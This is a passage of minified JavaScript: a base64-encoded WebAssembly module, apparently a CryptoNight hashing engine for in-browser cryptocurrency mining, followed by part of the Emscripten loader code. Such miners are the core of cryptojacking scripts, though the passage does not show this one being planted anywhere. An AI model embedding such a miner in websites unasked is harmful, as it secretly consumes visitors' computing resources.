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\"),t=r.length,n=new Uint8Array(t),o=0;o<t;o++)n[o]=r.charCodeAt(o);return n.buffer}(),Module||(Module=(void 0!==Module?Module:null)||{});var moduleOverrides={};for(var key in Module)Module.hasOwnProperty(key)&&(moduleOverrides[key]=Module[key]);if(ENVIRONMENT_IS_WEB=\"object\"==typeof window,ENVIRONMENT_IS_WORKER=\"function\"==typeof importScripts,!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER)throw\"Unknown runtime environment. Where are we?\";if(Module.read=function(e){var r=new XMLHttpRequest;return r.open(\"GET\",e,!1),r.send(null),r.responseText},ENVIRONMENT_IS_WORKER&&(Module.readBinary=function(e){var r=new XMLHttpRequest;return r.open(\"GET\",e,!1),r.responseType=\"arraybuffer\",r.send(null),new Uint8Array(r.response)}),Module.readAsync=function(e,r,t){var n=new XMLHttpRequest;n.open(\"GET\",e,!0),n.responseType=\"arraybuffer\",n.onload=function(){200==n.status||0==n.status&&n.response?r(n.response):t()},n.onerror=t,n.send(null)},\"undefined\"!=typeof arguments&&(Module.arguments=arguments),\"undefined\"!=typeof console)Module.print||(Module.print=function(e){console.log(e)}),Module.printErr||(Module.printErr=function(e){console.warn(e)});else{var TRY_USE_DUMP=!1;Module.print||(Module.print=TRY_USE_DUMP&&\"undefined\"!=typeof dump?function(e){dump(e)}:function(e){})}ENVIRONMENT_IS_WORKER&&(Module.load=importScripts),void 0===Module.setWindowTitle&&(Module.setWindowTitle=function(e){document.title=e}),!Module.load&&Module.read&&(Module.load=function(e){globalEval(Module.read(e))}),Module.print||(Module.print=function(){}),Module.printErr||(Module.printErr=Module.print),Module.arguments||(Module.arguments=[]),Module.thisProgram||(Module.thisProgram=\"./this.program\"),Module.quit||(Module.quit=function(e,r){throw r}),Module.print=Module.print,Module.printErr=Module.printErr,Module.preRun=[],Module.postRun=[];for(var key in moduleOverrides)moduleOverrides.hasOwnProperty(key)&&(Module[key]=moduleOverrides[key]);moduleOverrides=void 0;var Runtime={setTempRet0:function(e){return tempRet0=e,e},getTempRet0:function(){return tempRet0},stackSave:function(){return STACKTOP},stackRestore:function(e){STACKTOP=e},getNativeTypeSize:function(e){switch(e){case\"i1\":case\"i8\":return 1;case\"i16\":return 2;case\"i32\":return 4;case\"i64\":return 8;case\"float\":return 4;case\"double\":return 8;default:if(\"*\"===e[e.length-1])return Runtime.QUANTUM_SIZE;if(\"i\"===e[0]){var r=parseInt(e.substr(1));return assert(r%8==0),r/8}return 0}},getNativeFieldSize:function(e){return Math.max(Runtime.getNativeTypeSize(e),Runtime.QUANTUM_SIZE)},STACK_ALIGN:16,prepVararg:function(e,r){return\"double\"===r||\"i64\"===r?7&e&&(assert(4==(7&e)),e+=4):assert(0==(3&e)),e},getAlignSize:function(e,r,t){return 